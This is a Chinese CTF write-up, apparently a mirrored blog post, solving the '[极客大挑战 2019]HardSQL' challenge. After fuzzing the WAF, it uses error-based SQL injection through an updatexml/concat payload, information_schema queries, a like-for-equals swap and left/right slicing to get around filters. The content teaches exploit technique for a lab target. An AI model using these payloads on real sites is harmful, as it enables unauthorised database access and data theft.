zoukankan      html  css  js  c++  java
  • 刷题[极客大挑战 2019]HardSQL

    解题思路

    打开是一个登陆框,考点sql注入了,先正常尝试一波

    发现居然是get类型

    输入and发现有waf过滤,那fuzz一波看看过滤了什么

    fuzz

    union被过滤,并且绕过union的几种方法同样被过滤

    报错注入

    有报错,尝试下是否报错注入

    payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1));

    爆数据库:select database()
    爆表名:select table_name from information_schema.tables where table_schema='数据库名'
    爆列名:select column_name from information_schema.columns where table_name='表名'
    爆字段:select flag from 数据库.表名

    因为这里等于号被过滤,所以用like替换等于号

    爆出数据库名geek

    爆出表名H4rDsq1

    爆出列名id,username,password

    爆出部分password,即flag值

    需要注意的是:
    xpath报错只显示32位结果,需要借助mid函数来进行字符截取从而显示32位以后的数据。
    mid((select group_concat(flag) from flag),32)

    但很不幸的是,这里mid函数被禁了。但是用left,right拼接,思路一样

    总结思路

    常规的报错注入,根据payload打就行了,唯一注意的是xpath报错只显示32位结果,需要借助其他函数截取显示

    知识点

    • sql注入
    • 报错注入
  • 相关阅读:
    Apache Common-IO 使用
    Apache Compress-使用
    使用JavaConfig方式-Spring 基础学习
    设计模式-策略模式
    logback mybatis 打印sql语句
    oracle 迭代查询
    使用 Dom4j 将 XML 转换为 MAP
    Java连接Access数据库的那些坑
    如何从Maven中央存储库下载?
    sublime构建各个编译环境
  • 原文地址:https://www.cnblogs.com/karsa/p/13431337.html
Copyright © 2011-2022 走看看